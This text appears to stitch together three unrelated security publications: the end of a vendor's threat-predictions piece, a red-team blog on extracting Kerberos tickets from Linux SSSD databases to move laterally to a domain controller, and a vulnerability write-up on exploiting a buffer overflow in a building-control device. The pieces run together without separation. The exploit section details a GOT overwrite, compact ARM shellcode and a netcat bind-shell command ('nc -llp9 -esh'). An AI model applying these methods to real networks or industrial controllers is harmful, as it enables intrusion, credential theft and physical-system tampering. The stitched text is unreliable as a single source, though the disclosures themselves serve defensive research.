Security tools should be selected based on their ability to detect and prevent both known and unknown threats and respond to active threats in real-time before beachheads can be established or malicious payloads can be delivered.
To help, AI and machine learning capabilities need to be deployed pervasively across the network to baseline normal behavior and respond instantly to changes and detect and disable sophisticated threats before they can execute their payloads.
They are also essential in correlating massive amounts of collected data to detect malicious behavior, including using threat feeds and attack profiles to predict the most likely places an attack may occur and proactively bolstering those defenses.
Other advanced technologies, like deception, should also be considered to turn a traditionally passive network into an active defense system.
Threats show no sign of slowing down.
If your network and security tools are not ready to protect your organization from the next generation of threats now, tomorrow may be too late to make the critical changes you need.
Broad deployment, deep integration, and dynamic automation, combined with high performance and hyperscalability, are the hallmarks of any security system designed to protect the way today's organizations need to run their business.
To combat these evolving threats, organizations need to adopt a Security Fabric platform founded on a cybersecurity mesh architecture.
Read or access the full predictions for 2022.
Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
At FireEye Mandiant , we conduct numerous red team engagements within Windows Active Directory environments.
Consequently, we frequently encounter Linux systems integrated within Active Directory environments.
Compromising an individual domain-joined Linux system can provide useful data on its own, but the best value is obtaining data, such as Kerberos tickets, that will facilitate lateral movement techniques.
By passing these Kerberos Tickets from a Linux system, it is possible to move laterally from a compromised Linux system to the rest of the Active Directory domain.
There are several ways to configure a Linux system to store Kerberos tickets.
In this blog post, we will introduce Kerberos and cover some of the various storage solutions.
We will also introduce a new tool that extracts Kerberos tickets from domain-joined systems that utilize the System Security Services Daemon Kerberos Cache Manager (SSSD KCM).
What is Kerberos Kerberos is a standardized authentication protocol that was originally created by MIT in the 1980s.
The protocol has evolved over time.
Today, Kerberos Version 5 is implemented by numerous products, including Microsoft Active Directory.
Kerberos was originally designed to mutually authenticate identities over an unsecured communication line.
The Microsoft implementation of Kerberos is used in Active Directory environments to securely authenticate users to various services, such as the domain (LDAP), database servers (MSSQL) and file shares (SMB/CIFS).
While other authentication protocols exist within Active Directory, Kerberos is one of the most popular methods.
Technical documentation on how Microsoft implemented Kerberos Protocol Extensions within Active Directory can be found in the MS-KILE standards published on MSDN.
Short Example of Kerberos Authentication in Active Directory To illustrate how Kerberos works, we have selected a common scenario where a user John Smith with the account
ACMENET.CORP\\sa_jsmith wishes to authenticate to a Windows SMB (CIFS) file share in the Acme Corporation domain, hosted on the server SQLSERVER.ACMENET.CORP.
There are two main types of Kerberos tickets used in Active Directory: Ticket Granting Ticket (TGT) and service tickets.
Service tickets are obtained from the Ticket Granting Service (TGS).
The TGT is used to authenticate the identity of a particular entity in Active Directory, such as a user account.
Service tickets are used to authenticate a user to a specific service hosted on a system.
A valid TGT can be used to request service tickets from the Key Distribution Center (KDC).
In Active Directory environments, the KDC is hosted on a Domain Controller.
The diagram in Figure 1 shows the authentication flow.
Figure 1:
Example Kerberos authentication flow In summary:
The user requests a Ticket Granting Ticket (TGT) from the Domain Controller.
Once granted, the user passes the TGT back to the Domain Controller and requests a service ticket for cifs/SQLSERVER.ACMENET.CORP.
After the Domain Controller validates the request, a service ticket is issued that will authenticate the user to the CIFS (SMB) service on SQLSERVER.ACMENET.CORP.
The user receives the service ticket from the Domain Controller and initiates an SMB negotiation with SQLSERVER.ACMENET.CORP.
During the authentication process, the user provides a Kerberos blob inside an “AP-REQ” structure that includes the service ticket previously obtained.
The server validates the service ticket and authenticates the user.
If the server determines that the user has permissions to access the share, the user can begin making SMB queries.
For an in-depth example of how Kerberos authentication works, scroll down to view the appendix at the bottom of this article.
Kerberos On Linux Domain-Joined Systems When a Linux system is joined to an Active Directory domain, it also needs to use Kerberos tickets to access services on the Windows Active Directory domain.
Linux uses a different Kerberos implementation.
Instead of Windows formatted tickets (commonly referred to as the KIRBI format), Linux uses MIT format Kerberos Credential Caches (CCACHE files).
When a user on a Linux system wants to access a remote service with Kerberos, such as a file share, the same procedure is used to request the TGT and corresponding service ticket.
In older, more traditional implementations, Linux systems often stored credential cache files in the /tmp directory.
Although the files are locked down and not world-readable, a malicious user with root access to the Linux system could trivially obtain a copy of the Kerberos tickets and reuse them.
On modern versions of Red Hat Enterprise Linux and derivative distributions, the System Security Services Daemon (SSSD) is used to manage Kerberos tickets on domain-joined systems.
SSSD implements its own form of Kerberos Cache Manager (KCM) and encrypts tickets within a database on the system.
When a user needs access to a TGT or service ticket, the ticket is retrieved from the database, decrypted, and then passed to the remote service (for more on SSSD, check out this great research from Portcullis Labs ).
By default, SSSD maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb.
The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey.
By default, the key is only readable if you have root permissions.
If a user is able to extract both of these files, it is possible to decrypt the files offline and obtain valid Kerberos tickets.
We have published a new tool called SSSDKCMExtractor that will decrypt relevant secrets in the SSSD database and pull out  the credential cache Kerberos blob.
This blob can be converted into a usable Kerberos CCache file that can be passed to other tools, such as Mimikatz , Impacket , and smbclient .
CCache files can be converted into Windows format using tools such as Kekeo .
We leave it as an exercise to the reader to convert the decrypted Kerberos blob into a usable credential cache file for pass-the-cache and pass-the-ticket operations.
Using SSSDKCMExtractor is simple.
An example SSSD KCM database and key are shown in Figure 2.
Figure 2: SSSD KCM files Invoking SSSDKCMExtractor with the --database and --key parameters will parse the database and decrypt the secrets as shown in Figure 3.
Figure 3: Extracting Kerberos data After manipulating the data retrieved, it is possible to use the CCACHE in smbclient as shown in Figure 4.
In this example, a domain administrator ticket was obtained and used to access the domain controller’s C$ share.
Figure 4:
Compromising domain controller with extracted tickets The Python script and instructions can be found on the FireEye Github.
Conclusion By obtaining privileged access to a domain-joined Linux system, it is often possible to scrape Kerberos tickets useful for lateral movement.
Although it is still common to find these tickets in the /tmp directory, it is now possible to also scrape these tickets from modern Linux systems that utilize the SSSD KCM.
With the right Kerberos tickets, it is possible to move laterally to the rest of the Active Directory domain.
If a privileged user authenticates to a compromised Linux system (such as a Domain Admin) and leaves a ticket behind, it would be possible to steal that user's ticket and obtain privileged rights in the Active Directory domain.
Appendix:
Detailed Example of Kerberos Authentication in Active Directory To illustrate how Kerberos works, we have selected a common scenario where a user John Smith with the account
ACMENET.CORP\\sa_jsmith wishes to authenticate to a Windows SMB (CIFS) file share in the Acme Corporation domain, hosted on the server SQLSERVER.ACMENET.CORP.
There are two main types of Kerberos ticket types used in Active Directory: Ticket Granting Ticket (TGT) and service tickets.
Service tickets are obtained from the Ticket Granting Service (TGS).
The TGT is used to authenticate the identity of a particular entity in Active Directory, such as a user account.
Service tickets are used to authenticate a user to a specific service hosted on a domain- joined system.
A valid TGT can be used to request service tickets from the Key Distribution Center (KDC).
In Active Directory environments, the KDC is hosted on a Domain Controller.
When the user wants to authenticate to the remote file share, Windows first checks if a valid TGT is present in memory on the user's workstation.
If a TGT isn't present, a new TGT is requested from the Domain Controller in the form of an AS-REQ request.
To prevent password cracking attacks ( AS-REP Roasting ), by default, Kerberos Preauthentication is performed first.
Windows creates a timestamp and encrypts the timestamp with the user's Kerberos key (Note: User Kerberos keys vary based on encryption type.
In the case of RC4 encryption, the user's RC4 Kerberos key is directly derived from the user's account password.
In the case of AES encryption, the user's Kerberos key is derived from the user's password and a salt based on the username and domain name).
The domain controller receives the request and decrypts the timestamp by looking up the user's Kerberos key.
An example AS-REQ packet is shown in Figure 5.
Figure 5: AS-REQ Once preauthentication is successful, the Domain Controller issues an AS-REP response packet that contains various metadata fields, the TGT itself, and an \"Authenticator\".
The data within the TGT itself is considered sensitive.
If a user could freely modify the content within the TGT, they could impersonate any user in the domain as performed in the Golden Ticket attack.
To prevent this from easily occurring, the TGT is encrypted with the long term Kerberos key stored on the Domain Controller.
This key is derived from the password of the krbtgt account in Active Directory.
To prevent users from impersonating another user with a stolen TGT blob, Active Directory’s Kerberos implementation uses session keys that are used for mutual authentication between the user, domain, and service.
When the TGT is requested, the Domain Controller generates a session key and places it in two places: the TGT itself (which is encrypted with the krbtgt key and unreadable by the end user), and in a separate structure called the Authenticator.
The Domain Controller encrypts the Authenticator with the user's personal Kerberos key.
When Windows receives the AS-REP packet back from the domain controller, it caches the TGT ticket data itself into memory.
It also decrypts the Authenticator with the user's Kerberos key and obtains a copy of the session key generated by the Domain Controller.
Windows stores this session key in memory for future use.
At this point, the user's system has a valid TGT that it can use to request service tickets from the domain controller.
An example AS-REP packet is shown in Figure 6.
Figure 6: AS-REP After obtaining a valid TGT for the user, Windows requests a service ticket for the file share service hosted on the remote system SQLSERVER.ACMENET.CORP.
The request is made using the service's Service Principal Name (“SPN”).
In this case, the SPN would be cifs/SQLSERVER.ACMENET.CORP.
Windows builds the service ticket request in a TGS-REQ packet.
Within the TGS-REQ packet, Windows places a copy of the TGT previously obtained from the Domain Controller.
This time, the Authenticator is encrypted with the TGT session key previously obtained from the domain controller.
An example TGS-REQ packet is shown in Figure 7.
Figure 7: TGS-REQ
Once the Domain Controller receives the TGS-REQ packet, it extracts the TGT from the request and decrypts it with the krbtgt Kerberos key.
The Domain Controller verifies that the TGT is valid and extracts the session key field from the TGT.
The Domain Controller then attempts to decrypt the Authenticator in the TGS-REQ packet with the session key.
Once decrypted, the Domain Controller examines the Authenticator and verifies the contents.
If this operation succeeds, the user is considered authenticated by the Domain Controller and the requested service ticket is created.
The Domain Controller generates the service ticket requested for cifs/SQLSERVER.ACMENET.CORP.
The data within the service ticket is also considered sensitive.
If a user could manipulate the service ticket data, they could impersonate any user on the domain to the service as performed in the Silver Ticket attack.
To prevent this from easily happening, the Domain Controller encrypts the service ticket with the Kerberos key of the computer the user is authenticating to.
All domain-joined computers in Active Directory possess a randomly generated computer account credential that both the computer and Domain Controller are aware of.
The Domain Controller also generates a second session key specific to the service ticket and places a copy in both the encrypted service ticket and a new Authenticator structure.
This Authenticator is encrypted with the first session key (the TGT session key).
The service ticket, Authenticator, and metadata are bundled in a TGS-REP packet and forwarded back to the user.
An example TGS-REP packet is shown in Figure 8.
Figure 8: TGS-REP
Once Windows receives the TGS-REP for cifs/SQLSERVER.ACMENET.CORP, Windows extracts the service ticket from the packet and caches it into memory.
It also decrypts the Authenticator with the TGT specific session key to obtain the new service specific session key.
Using both pieces of information, it is now possible for the user to authenticate to the remote file share.
Windows negotiates a SMB connection with SQLSERVER.ACMENET.CORP.
It places a Kerberos blob in an \"ap-req\" structure.
This Kerberos blob includes the service ticket received from the domain controller, a new Authenticator structure, and metadata.
The new Authenticator is encrypted with the service specific session key that was previously obtained from the Domain Controller.
The authentication process is shown in Figure 9.
Figure 9:
Authenticating to SMB (AP-REQ)
Once the file share server receives the authentication request, it first extracts and decrypts the service ticket from the Kerberos authentication blob and verifies the data within.
It also extracts the service specific session key from the service ticket and attempts to decrypt the Authenticator with it.
If this operation succeeds, the user is considered to be authenticated to the service.
The server will acknowledge the successful authentication by sending one final Authenticator back to the user, encrypted with the service specific session key.
This action completes the mutual authentication process.
The response (contained within an “ap-rep” structure) is shown in Figure 10.
Figure 10:
Final Authenticator (Mutual Authentication, AP-REP)
A diagram of the authentication flow is shown in Figure 11.
Figure 11:
Example Kerberos authentication flow Subscribe to Blogs Get email updates as new blog posts are added.
By Douglas McKee and Mark Bereza on Aug 09, 2019 The McAfee Labs Advanced Threat Research team is committed to uncovering security issues in both software and hardware to help developers provide safer products for businesses and consumers.
We recently investigated an industrial control system (ICS) produced by Delta Controls.
The product, called “enteliBUS Manager”, is used for several applications, including building management.
Our research into the Delta controller led to the discovery of an unreported buffer overflow in the “main.so” library.
This flaw, identified by CVE-2019-9569, ultimately allows for remote code execution, which could be used by a malicious attacker to manipulate access control, pressure rooms, HVAC and more.
We reported this research to Delta Controls on December 7 th , 2018.
Within just a few weeks, Delta responded, and we began an ongoing dialog while a security fix was built, tested and rolled out in late June of 2019.
We commend Delta for their efforts and partnership throughout the entire process.
The vulnerable firmware version tested by McAfee’s Advanced Threat Research team is 3.40.571848.
It is likely earlier versions of the firmware are also vulnerable, however ATR has not specifically tested these.
We have confirmed the patched firmware version 3.40.612850 effectively remediates the vulnerability.
This blog is intended to provide a deep and thorough technical analysis of the vulnerability and its potential impact.
For a high-level, non-technical walk through of this vulnerability, please refer to our summary blog post here .
Exploring the Attack Surface
The first task when researching a new device is to understand how it works from both a software and hardware perspective.
Like many devices in the ICS realm, this device has three main software components; the bootloader, system applications, and user-defined programming.
While looking at software for an attack vector is important, we do not focus on any surface which is defined by the users since this will potentially change for every install.
Therefore, we want to focus on the bootloader and the system applications.
With the operating system, it is common for manufacturers to implement custom code to operate the device regardless of an individual user’s programming.
This custom code is often where most vulnerabilities exist and extends across the entire product install base.
Yet, how do we access this code?
As this is a critical system, the firmware and software are not publicly available and there is limited documentation.
Thus, we are limited to external reconnaissance of the underlying system software.
Since the most critical vulnerabilities are remote, it made sense to start with a simple network scan of the device.
A TCP scan showed no ports open and a UDP scan only showed ports 47808 and 47809 to be open.
Referring to the documentation, we determined this is most likely used for a protocol called Building Automation Control Network (BACnet).
Using a BACnet-specific network enumeration script, we determined slightly more information: root@kali:~
# nmap –script bacnet-info -sU
-p 47808 192.168.7.15
Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 11:03 EDT Nmap scan report for 192.168.7.15 Host is up (0.00032s latency).
PORT STATE SERVICE 47808/udp open bacnet | bacnet-info: | Vendor ID:
Delta Controls (8) | Vendor Name: Delta Controls | Object-identifier: 29000 | Firmware: 571848 | Application Software: V3.40 | Model Name: eBMGR-TCH
The next question is, what can we learn from the hardware?
To answer this question, the device was first carefully disassembled, as shown in Figure 1.
Figure 1 The controller has one board to manage the display and a main baseboard which holds a System on a Module (SOM) chip containing both the processor and flash modules.
With a closer look at the baseboard, we made a few key observations.
First, the processor is an ARM926EJ core processor, the flash module is a ball grid array (BGA) chip, and there are several unpopulated headers on the board.
Figure 2 To examine the software more effectively, we needed to determine a method of extracting the firmware.
The BGA chip used by the system for flash memory will mostly likely hold the firmware; however, this poses another challenge.
Unlike other chips, BGA chips do not provide pins externally which can be attached to.
This means to access the chip directly, we would need to desolder the chip from the board.
This is not ideal since we risk damaging the system.
We also noticed several unpopulated headers on the board.
This was promising as we could find an alternative method of exacting the firmware using one of these headers.
Soldering pins to each of the unpopulated headers and using a logic analyzer, we determined that the 4-pin header in the center of the board is a universal asynchronous receiver-transmitter (UART) header running at a baud rate of 115200.
Figure 3 Using the Exodus XI Breakout board (shout out to @Logan_Brown and the Exodus team) to connect to the UART headers, we were met with an unprotected root prompt on the system.
Now with full access to the system, we could start to gain a deeper understanding of how the system works and extract the firmware.
Figure 4 Firmware Extraction and System Analysis With the UART interface, we could now explore the system in real-time, but how could we extract the firmware for offline analysis?
The device has two USB ports which we were able to use to mount a USB drive.
This allowed us to copy what is running in memory using dd onto a flash drive, effectively extracting the firmware.
The next question was, what do we copy?
Using “/proc/mtd” to gain information about how memory is partitioned, we could see file systems located on mtd4 and mtd5.
We used dd to copy off both the mtd4 and mtd5 partitions.
We later discovered that one of the images is a backup used as a system fall back if a persistent issue is detected.
This filesystem copied became increasingly useful as the project continued With the active UART connection, it was now possible to investigate more about how the system is running.
Since we were able to previously determine the device is only listening on ports 47808 and 47809, whichever application is listening on these ports would be the only point of an attack for a remote exploit.
This was quickly confirmed using “netstat -nap” from the UART console.
We noticed that port 47808 was being used by an application called “dactetra”.
With minimal further investigation, it was determined that this is a Delta-controller-specific binary was responsible for the main functions of the device.
Finding a Vulnerability With a device-specific binary listening on the network via an open port, we had an ideal place to start looking for a vulnerability.
We used the common approach of network fuzzing to start our investigation.
To implement network fuzzing for BACnet, we turned to a tool produced by Synopsys called Defensics, which has a module designed for BACnet servers.
Although this device is not a BACnet server and functions more as a router, this test suite provided several universal test cases which gave us a great place to start.
BACnet utilizes several types of broadcast packets to communicate.
Two such broadcast packets, “Who-Is” and “I-Am” packets, are universal to all BACnet devices and Defensics provides modules to work with them.
Using the Defensics fuzzer to create mutations of these packets, we were able to observe the device encountering a failure point, producing a core dump and immediately rebooting, shown in Figure 5.
Figure 5 The test case which caused the crash was then isolated and run several more times to confirm the crash was repeatable.
We discovered during this process that it takes an additional 96 packets sent after the original malformed packet to cause the crash.
The malformed packet in the series was an “I-Am” packet, as seen below.
The full packet is not shown due to its size.
Figure 6 Examining further, we could quickly see that the fuzzer created a packet with a BACnet layer size of 8216 bytes, using “0x22”.
We could also see the fuzzer recognized the max acceptable size for the BACnet application layer as only 1476 bytes.
Additional testing showed that sending only this packet did not produce the same results; only when all 97 packets were sent did the crash occur.
Analyzing the Crash Since the system provides a core dump upon crashing, it was logical to analyze it for further information.
From the core dump (reproduced in Figure 7), we could see the device encountered a segmentation fault .
We also saw that register R0 contained what looked like data copied from our malformed packet, along with the backtrace being potentially corrupted.
Figure 7
The core dump also provided us the precise location of the crash.
Using the memory map from the device, it was possible to determine that address 0x4026e580 is located in memcpy .
Since the device does not deploy Address Space Layout Randomization (ASLR), the memory address did not change throughout our testing.
As we had successfully extracted the firmware, we used IDA Pro to attempt to learn more about why this crash was occurring.
The developers did not strip the binaries during compiling time, which helped simplify the reversing process in IDA.
Figure 8 The disassembly told us that memcpy was attempting to write what was in R3 to the “address” stored in R0.
In this case, however, we had corrupted that address, causing the segmentation fault.
The contents of several other registers also provided additional information.
The value 0x81 in R3 was potentially the first byte of a BACnet packet from the BACnet Virtual Link Control (BVLC) layer, identifying the packet as BACnet.
By looking at R3 and the values at the address in R5 together, we confirmed with more certainty that this was in fact the BVLC layer.
This implied the data being copied was from the last packet sent and the destination for the copied data was taken from the first malformed packet.
Registers R8 and R10 held the source and destination port numbers, respectively, which in this case were both 0xBAC0 (accounting for endianness), or 47808, the standard BACnet port.
R4 held a memory address which, when examined, showed a section of memory that looks to have been overwritten.
Here we saw data from our malformed packet (0x22); in some areas, memory was partially overwritten with our packet data.
The value for the destination of the memcpy appeared to be coming from this region of memory.
With no ASLR enabled, we could again count on this always landing in the same location.
Figure 9
At this point, with the information provided by the core dump, packets, and IDA, we were fairly certain that the crash found was a buffer overflow.
However, memcpy is a very common function, so we needed to determine where exactly this crash was coming from.
If the destination address for the memcpy was getting corrupted, then the crash in memcpy was simply collateral damage from the buffer overflow – so what code was causing the buffer overflow to occur?
A good place to start this analysis would be the backtrace; however, as seen above, the backtrace was corrupted from our input.
Since this device uses an ARM processor, we could look at the LR registers for clues on what code called this memcpy.
Here, LR was pointing to 0x401e68a8 which, when referencing the memory map of the process, falls in “main.so”.
After calculating the offset to use for static analysis, we arrived at the code in Figure 10.
Figure 10 The LR register was pointing to the instruction which is called after memcpy returns.
In this case, we were interested in the instruction right before the address LR is pointing to, at offset 0x15C8A4.
At first glance, we were surprised not to see the expected memcpy call; however, digging a little deeper into the scNetMove function we found that scNetMove is simply a wrapper for memcpy.
Figure 11
So, how did the wrong destination address get passed to memcpy?
To answer this, we needed a better understanding of how the system processes incoming packets along with what code is responsible for setting up the buffers sent to memcpy.
We can use ps to evaluate the system as it is running to see that the main process spawns 19 threads: Table 1 The function wherein we found the “scNetMove” was called “scBIPRxTask” and was only referenced in one other location outside of the main binary; the initialization function for the application’s networking, shown in Figure 12.
Figure 12
In scBIPRxTask’s disassembly, we saw a new thread or “task” being created for both BACnet IP interfaces on ports 47808 and 47809.
These spawned threads would handle all the incoming packets on their respective ports.
When a packet would be received by the system, the thread responsible for scBIPRxTask would trigger for each packet.
Using the IDA Pro decompiler, we could see what occurs for each packet.
First, the function uses memset to zero out an allocated buffer on the stack and read from the network socket into this buffer.
This buffer becomes the source for the following memcpy call.
The new buffer is created with a static size of 1732 bytes and only 1732 bytes are appropriately read from the socket.
Figure 13 After reading data from the socket, the function sets up a place to store the packet it has just received.
Here it uses a function called “pk_alloc,” which takes the size of the packet to create as its only argument.
We noticed that the size was another static value and not the size received from the socket read function.
This time the static value passed is 1476 bytes.
This allocated buffer is what will become the destination for the memcpy.
Figure 14 With both a source and destination buffer allocated, “scNetMove” is called and subsequently memcpy is called, passing both buffers along with the size parameter taken from the socket read return value.
Figure 15 This code path explains why and how the vulnerability occurs.
For each packet sent, it is copied off the stack into memory; however, if the packet is longer than 1476 bytes, for each byte over 1476 and less than or equal to 1732, that many bytes in memory past the end of the destination buffer are overwritten.
Within the memory which is overwritten, there is an address to the destination of a later memcpy call.
This means there is a buffer overflow vulnerability that leads to an arbitrary write condition.
The first malformed packet overwrites a section of memory with attacker-defined data – in this case, the address where the attacker wishes to write to.
After an additional 95 packets are read by the system, the address controlled by the attacker will be put into memcpy as the destination buffer.
The data in the last packet, which does not need to be malformed, is what will be written to the location set in the earlier malformed packet.
Assuming the last packet is also controlled by the attacker, this is now a write-what-where condition.
Kicking the Dog With a firm grasp on the discovered vulnerability, the next logical step was to attempt to create a working exploit.
When developing an exploit, the ability to dynamically debug the target is extremely valuable.
To this end, the team first had to cross-compile debugging tools such as gdbserver for the device’s specific kernel and architecture.
Since the device runs an old version of the Linux kernel, we used an old version of Buildroot to build gdbserver and later other applications.
Using a USB drive to transfer gdbserver onto the device, an initial attempt to debug the running application was made.
A few seconds after connecting the debugger to the application, the device initiated a reboot, as shown in Figure 16.
Figure 16 An error message gave us a clue on why the crash occurred, indicating a watchdog timer failure.
Watchdog timers are common in critical embedded devices that if the system hangs for a predetermined amount of time, it takes action to try and correct the problem.
In this case, the action chosen by the developers is to reboot the system.
Searching the system binaries for this error message revealed the section of code shown in Figure 17.
The actual error messages have been redacted at the request of the vendor.
Figure 17 The function is decrementing three counters.
If any of the counters ever get to zero, then an error is thrown and later the system is rebooted.
Examining the code further shows that multiple processes call this function to check the counters very frequently.
This means we are not going to be able to dynamically debug the system without figuring out how to disable this software watchdog.
One common approach to this problem is to patch the binaries.
It is important when looking at patching a binary to ensure the patch you employ does not introduce any unintended side effects.
This generally means you want to make the smallest change possible.
In this case, the smallest meaningful change the team came up with was to modify the “subtract by 5” to a “subtract by 0.”
This would not change how the overall program functioned; however, every time the function was called to decrement the counter, the counter would simply never get smaller.
The patched code is provided in Figure 18.
Notice the IDA decompiler has completely removed the subtraction statement from the code since it is no longer meaningful.
Figure 18 With the software watchdog patched, the team attempted to again dynamically debug the application.
Initially the test was thought to be successful, since it was possible to connect to gdbserver and start debugging the application.
However, after three minutes the system rebooted again.
Figure 19 shows the message the team caught on reboot after several repeated experiments with the same results.
Figure 19
This indicates that in the boot phase of startup, a hardware watchdog is set to 180 seconds (or three minutes).
The system has two watchdog timers, one hardware and one software; we had only disabled one of the timers.
The same method of patching the binary which was used to disable the software watchdog timer would not work for the hardware watchdog timer; the application would also need to kick the watchdog to prevent a reboot.
Armed with this knowledge, we turned to the Delta binaries on the device for code that could help us “kick” the hardware watchdog.
With the debugging symbols left in, it was relatively easy to find a function which was responsible for managing the hardware watchdog.
There are several approaches which could be used to attempt to disable the hardware watchdog.
In this scenario, we decided to take advantage of the fact that the code which dealt with the hardware watchdog was in a shared library and exported.
This allowed for the creation of a new program using the existing watchdog-kicking code.
By creating a second program that will kick the hardware watchdog, we could debug the Delta application without the system resetting.
This program was put in the init script of the system, so it would run on boot and continually “kick the dog”, effectively disabling the hardware watchdog.
Note: no actual dogs were harmed in the research or creation of this exploit.
If anything, they were given extra treats and contributed to the coding of the watchdog patch.
Here are some very recent photos of this researcher’s dogs for proof.
Figure 20 With both the hardware and software watchdog timers pacified, we could continue to determine if our previously discovered vulnerability was exploitable.
Writing the Exploit Before attempting exploitation, we wanted to first investigate if the system had any exploit mitigations or limitations we needed to be aware of.
We began by running an open source script called “checksec.sh”.
This script, when run on a binary, will report if any of the common exploit mitigations are in place.
Figure 21 shows the script’s output when ran on the primary Delta binary, named “dactetra”.
Figure 21
The check came back with only NX enabled.
This also held true for each of the shared libraries where the vulnerable code is located.
As discussed above, the vulnerability allows for a write-what-where condition, which leads us to the most important question: what do we want to write where?
Ultimately, we want to write shellcode somewhere in memory and then jump to that shellcode.
Since the attacker controls the last packet sent, it is plausible that the attacker could have their shellcode on the stack.
If we put shellcode on the stack, we would then have to bypass the No eXecute (NX) protection discovered using the checksec tool.
Although this is possible, we wondered if there was a simpler method.
Reexamining the crash dump at the memory location which has been overwritten by the large malformed packet, we found a small contiguous section of heap memory, totaling 32 bytes, which the attacker could control.
We came to this conclusion because of the presence of 0x22 bytes – the contents of the malformed packet’s payload.
At the time the overflow occurs, more of this region is filled with 0x22’s, but by the time our write-what-where condition is triggered, many of these bytes get clobbered, leaving us with the 32-byte section shown in Figure 22.
Figure 22
Being heap memory, this region was also executable, a detail that will become important shortly.
Replacing the 0x22’s in the malformed packet with a non-repeating pattern both revealed where in the payload to place our shell code and confirmed that the bytes in this region were all unique.
With a potential place to put our shellcode, the next major component to address was controlling execution.
The write-what-where condition allowed us to write anywhere in memory; however, it did not give us control of execution.
One technique to tackle this problem is to leverage the Global Offset Table (GOT).
In Linux, the GOT redirects a function pointer to an absolute location and is located in the .got section of an ELF executable or shared object.
Since the .got section is written to at execution time, it is generally still writable later during execution.
Relocation Read Only (RELRO) is an exploit mitigation which marks the loaded .got section read-only once it is mapped; however, as seen above, this protection was conveniently not enabled.
This meant it was possible to use the write-what-were condition to write the address of our shellcode in memory to the GOT, replacing a function pointer of a future function call.
Once the replaced function pointer is called, our shellcode would be executed.
But which function pointer should we replace?
To ensure the highest probability of success, we decided it would be best to replace the pointer to a function that is called as close to the overwrite as possible.
This is because we wanted to minimize changes to the memory layout during program execution.
Examining the code again from the return of the “scNetMove” function, we see within just a few instructions “scDecodeBACnetUDP” is called.
This therefore becomes the ideal choice of pointer to overwrite in the GOT.
Figure 23
Knowing what to write where, we next considered any conditions which needed to be met for the correct code path to be taken to trigger the vulnerability.
Taking another look at the code in memcpy that allows the buffer overflow to occur, we noticed that the overwrite does indeed have a condition, as shown in Figure 24.
Figure 24 The code producing the overwrite in memory is only taken if the value in R0, when bitwise ANDed with the immediate value 3, is not equal to 0.
From our crash dump, we knew that the value in R0 is the address of the destination we want to copy to.
This potentially posed a problem.
If the address we wanted to write to was 4-byte aligned, which was highly likely, the code path for our vulnerability would not be taken.
We could ensure that our code path was taken by subtracting one from the address we wish to write to in the GOT and then repairing the last byte of the previous entry.
This ensures that the correct code path is taken and that we do not unintentionally damage a second function pointer.
Shellcode While we discovered a place to put our shellcode, we only discovered a very small amount of space, specifically 32 bytes, in which to write the payload, shown in Figure 24.
What can we accomplish in such a small amount of space?
One method that does not require extensive shellcode is to use a “return to libc” attack to execute the system command.
For our exploit to work out of the box, whatever command or program we run with system must be present on the device by default.
Additionally, the command string itself needs to be quite short to accommodate the limited number of bytes we have to work with.
An ideal scenario would be executing code that would allow remote shell access to the device.
Fortunately, Netcat is present on the device and this version of Netcat supports both the “-ll” flag, for persistent listening on a port for a connection, and the “-e” flag, for executing a command on connection.
Thus, we could use system to execute Netcat to listen on some port and execute a shell when a connection is made.
Before writing shell code to execute system with this command, we first tested various Netcat commands on the device directly to determine the shortest Netcat command that would still give us a shell.
After a few iterations, we were able to shorten the Netcat command to 13 bytes: nc -llp9
-esh
Since the instructions must be 4-byte-aligned and we have 32 bytes to work with, we are only concerned with the length of the string rounded up to the nearest multiple of 4, so in this case 16 bytes.
Subtracting this from our total 32 bytes, we have 16 bytes left, or 4 instructions total, to set up the argument for system and jump to it.
A common method to fit more instructions into a small space in memory on ARM is to switch to Thumb mode.
This is because ARM’s Thumb mode utilizes 16-bit (2-byte) instructions, instead of the regular 32-bit (4-byte) ARM instructions.
Unfortunately, the processor on this device did not support Thumb mode and therefore this was not an option.
The challenge to accomplishing our task in only 4 ARM instructions is the limit ARM places on immediate values.
To jump to system , we needed to use an immediate value as the address to jump to, but memory address are not generally small values.
Immediate values in ARM are limited to 12 bits; eight of these bits are for the value itself and the other 4 are used for bit shifting.
This means that an immediate value can only be one byte long (two hex digits) but that byte can be zero padded in any fashion you like.
Therefore, loading a full memory address of 4 bytes using immediate values would take all 4 instructions, whether using MOV or ADD.
While we do have 4 instructions to play with, we also need at least one instruction to load the address of our command string into R0, the register used as the first parameter for system, and at least one instruction to branch to the address, requiring a total of 6 instructions.
One way to reduce the number of instructions needed is to start by copying a register already containing a value close to the address we want at the time the shellcode executes.
Whether this is feasible depends on the value of the address we want to jump to compared to the addresses we have available in the registers right before our shell code is executed.
Starting with the address we need to call, we discovered three address we could jump to that would call system .
0x4006425C – the address of a BL system (branch to system ) instruction in boot.so.
0x40054510 – the address of the system entry in “boot.so”’s GOT.
0x402874A4 – the direct address of system in libuClibc-0.9.30.so.
Next, we compared these options to the values in the registers at the time the shellcode is about to execute using GDB, shown in Figure 25.
Figure 25 Of the registers we have access to at the time our shell code executes, the one that gives us the smallest delta between its contents and one of these three addresses we can use to call system is R4.
R4 contains 0x40235CB4, giving a delta of 0x517F0 when compared to the address for a direct call to system .
The last nibble being 0 is ideal since that means we don’t have to account for the last bit, thanks to the rotation mechanism inherent to ARM immediate values.
This means that we only need two immediate values to convert the contents of R4 into our desired address: one for 0x51000, the other for 0x7F0.
Since we can apply an immediate offset when MOV’ing one register into another, we should be able to load a register with the address of system in only two instructions.
With one instruction for performing the branch and 16 bytes for the command string, this means we can get all our shell code in 32 bytes, assuming we can load R0 with the address of our string in one instruction.
By starting our ASCII string for the command directly after the fourth and last instruction, we can copy PC into R0 with the appropriate offset to make it point to the string.
An added benefit of this approach is that it makes the string’s address independent of where the shell code is placed into memory, since it’s relative to PC.
Figure 26 shows what the shellcode looks like with consideration for all restrictions.
Figure 26
It is important to note that the “.asciz” assembler directive is used to place a null-terminated ASCII string literal into memory.
R12 was chosen as the register to contain the address of branch, since R12 is the Intra Procedural (IP) scratch space register on the ARM architecture.
This means R12 is often used as a general-purpose register within subroutines indicating it is almost certainly safe to clobber for our purposes without experiencing unexpected adverse effects.
